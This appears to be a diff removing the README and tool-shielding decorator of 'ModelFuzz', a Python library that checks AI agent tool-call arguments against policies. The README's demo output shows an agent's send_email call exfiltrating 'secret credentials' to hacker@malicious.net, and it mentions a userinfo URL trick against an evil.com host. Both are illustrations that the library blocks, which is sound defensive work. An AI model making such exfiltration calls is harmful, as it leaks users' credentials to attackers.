============================================================
|
|
81
|
-
|
|
82
|
-
[+] GUARDED AGENT: Executing tool with malicious payload...
|
|
83
|
-
[>] Tool Call: send_email(**{'to_address': 'hacker@malicious.net', 'subject': 'Exfiltration', 'body': 'Secret credentials attached: password123'})
|
|
84
|
-
|
|
85
|
-
[+] ModelFuzz is intercepting the call...
|
|
86
|
-
|
|
87
|
-
[✓] ModelFuzz caught a violation:
|
|
88
|
-
Reason: String contains sensitive keyword: 'secret'
|
|
89
|
-
|
|
90
|
-
============================================================
|
|
91
|
-
🛡️ MODELFUZZ BLOCKED
|
|
92
|
-
============================================================
|
|
93
|
-
Sensitive data exfiltration stopped.
|
|
94
|
-
============================================================
|
|
95
|
-
```
|
|
96
|
-
|
|
97
|
-
## How It Works
|
|
98
|
-
|
|
99
|
-
- **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation, returning a `PolicyResult` with the block reason. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
|
|
100
|
-
- **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
|
|
101
|
-
- **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
|
|
102
|
-
|
|
103
|
-
## Installation
|
|
104
|
-
|
|
105
|
-
```bash
|
|
106
|
-
pip install modelfuzz
|
|
107
|
-
```
|
|
108
|
-
|
|
109
|
-
Or with [uv](https://github.com/astral-sh/uv):
|
|
110
|
-
|
|
111
|
-
```bash
|
|
112
|
-
uv add modelfuzz
|
|
113
|
-
```
|
|
114
|
-
|
|
115
|
-
## Contributing
|
|
116
|
-
|
|
117
|
-
Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.
|
|
118
|
-
|
|
119
|
-
## License
|
|
120
|
-
|
|
121
|
-
MIT — see [LICENSE](LICENSE) for details.
|
|
@@ -1,45 +0,0 @@
|
|
|
1
|
-
"""Decorators for shielding agent tool functions."""
|
|
2
|
-
|
|
3
|
-
import functools
|
|
4
|
-
from collections.abc import Callable
|
|
5
|
-
from typing import ParamSpec, TypeVar
|
|
6
|
-
|
|
7
|
-
from modelfuzz.engine import PolicyEngine
|
|
8
|
-
from modelfuzz.exceptions import ModelFuzzBlockError
|
|
9
|
-
from modelfuzz.rules import SensitiveDataFilter
|
|
10
|
-
|
|
11
|
-
P = ParamSpec("P")
|
|
12
|
-
R = TypeVar("R")
|
|
13
|
-
|
|
14
|
-
# Default policy engine for the decorator
|
|
15
|
-
default_policies = [SensitiveDataFilter()]
|
|
16
|
-
_default_engine = PolicyEngine(default_policies)
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
def shield_tool(engine: PolicyEngine | None = None) -> Callable[[Callable[P, R]], Callable[P, R]]:
|
|
20
|
-
"""Wrap a tool function so every call is intercepted before execution.
|
|
21
|
-
|
|
22
|
-
Args:
|
|
23
|
-
engine: The policy engine to use for validation. If None, a default
|
|
24
|
-
engine with a SensitiveDataFilter is used.
|
|
25
|
-
|
|
26
|
-
Returns:
|
|
27
|
-
A decorator that wraps the function.
|
|
28
|
-
"""
|
|
29
|
-
actual_engine = engine if engine is not None else _default_engine
|
|
30
|
-
|
|
31
|
-
def decorator(func: Callable[P, R]) -> Callable[P, R]:
|
|
32
|
-
@functools.wraps(func)
|
|
33
|
-
def wrapper(*args: P.args, **kwargs: P.kwargs) -> R:
|
|
34
|
-
# Check all arguments against the policy engine
|
|
35
|
-
for arg in list(args) + list(kwargs.values()):
|
|
36
|
-
result = actual_engine.run(arg)
|
|
37
|
-
if not result.allowed:
|
|
38
|
-
raise ModelFuzzBlockError(result.reason or "Call blocked by policy")
|
|
39
|
-
|
|
40
|
-
print(f"ModelFuzz Intercepted: {func.__name__}")
|
|
41
|
-
return func(*args, **kwargs)
|
|
42
|
-
|
|
43
|
-
return wrapper
|
|
44
|
-
|
|
45
|
-
return decorator
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|